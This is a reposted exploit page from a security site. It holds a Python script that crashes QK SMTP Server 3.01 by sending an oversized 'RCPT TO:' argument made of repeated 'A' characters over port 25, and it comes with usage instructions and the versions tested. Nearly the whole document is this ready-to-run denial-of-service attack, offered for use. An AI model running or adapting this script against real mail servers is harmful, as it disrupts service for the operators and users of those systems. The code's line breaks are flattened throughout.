QK SMTP Server 3 RCPT TO: Command DoS
|
来源:vfocus.net 作者:antrhacks 发布时间:2010-09-13
|
|
# Author: antrhacks # Software Link: http://www.qksoft.com/qk-smtp-server/download.php # Version: 3.01 # Platform: Windows XP SP3 Home edition Fr # Tested with buffersize: 4500, 5000 # Example: ./QKsmtp.py 192.168.0.10 4500 # Nota: Settings > Acces IP Control > Allow your IP
#!/usr/bin/python
#-------------------------------------------- # QK SMTP Server 3 RCPT TO: Command DoS #--------------------------------------------
# Title: QK SMTP Server 3 RCPT TO: Command DoS # Author: antrhacks # Software Link: http://www.qksoft.com/qk-smtp-server/download.php # Version: 3.01 # Platform: Windows XP SP3 Home edition Fr # Tested with buffersize: 4500, 5000 # Example: ./QKsmtp.py 192.168.0.10 4500 # Nota: Settings > Acces IP Control > Allow your IP
import socket import sys
def howto(): print ("Usage: scriptname.py <IP> <BufferSize>\n") def exploit(host): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: sock.connect((host, 25)) except: print ("Unable to connect to host") sys.exit(1) r=sock.recv(1024) print r r=sock.getsockname() print r sock.send("HELO localhost\r\n") r=sock.recv(1024) print r sock.send("MAIL FROM: hack@hack.com\r\n") r=sock.recv(1024) print r sock.send("RCPT TO: " + buffere + "\r\n") r=sock.recv(1024) print r sock.send("QUIT" + " \r\n") r=sock.recv(1024) print r sock.close() if len(sys.argv) <> 3: howto() sys.exit(1) else: host=sys.argv[1] buffersize=int(sys.argv[2]) buffere= "\x41" * buffersize exploit(host) sys.exit(0) # END
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|